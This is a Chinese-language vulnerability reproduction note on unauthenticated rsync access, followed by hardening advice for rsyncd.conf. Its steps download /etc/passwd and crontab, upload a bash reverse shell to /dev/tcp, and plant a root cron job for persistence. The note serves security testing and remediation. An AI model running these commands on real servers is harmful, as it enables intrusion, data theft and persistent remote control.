漏洞描述:
rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口。由于配置不当,导致任何人可未授权访问rsync,上传本地文件,下载服务器文件。
rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行。
复现过程:
1.用rsync命令访问目标ip的模块
rsync rsync://ip:port/
2.查看src模块下的文件
rsync rsync://ip:port/src
3.根据文件信息,可以看到src是文件根目录,可以下载任意文件,此处下载/etc/passwd到当前目录
rsync -av rsync://ip:port/src/etc/passwd ./
4.查看下载的文件
cat passwd
5.查看crontab配置文件
rsync rsync://ip:port/src/etc/crontab
6.下载crontab配置文件
rsync -av rsync://ip:port/src/etc/crontab /root/crontab.txt
7.编写shell.sh监听脚本
vim shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/ip/port 0>&1
8.赋予执行权限
chmod +x shell.sh
9.编辑crontab.txt文件并保存退出(每隔1分钟运行一次脚本)
vim /root/crontab.txt
*/1 * * * * root /tmp/shell. sh
10.将shell.sh上传至/tmp/shell.sh
rsync -av shell.sh rsync://ip:port/src/tmp/shell.sh
11.将crontab.txt文件上传到目标服务器
rsync -av /root/crontab.txt rsync://ip:port/src/etc/crontab
12.本地监听
13.成功反弹shell
借此漏洞,攻击者可以获取服务器敏感信息,并向服务器上传恶意脚本文件,远程命令执行。
修复建议:
更改配置文件/etc/rsyncd.conf,添加或修改参数:
1.访问控制,设置host allow,限制访问主机IP;
2.权限控制,设置read only=yes,模块设置为只读;
3.访问认证,设置auth、secrets,认证成功才能调用服务;
4.模块隐藏,设置list,将模块隐藏起来。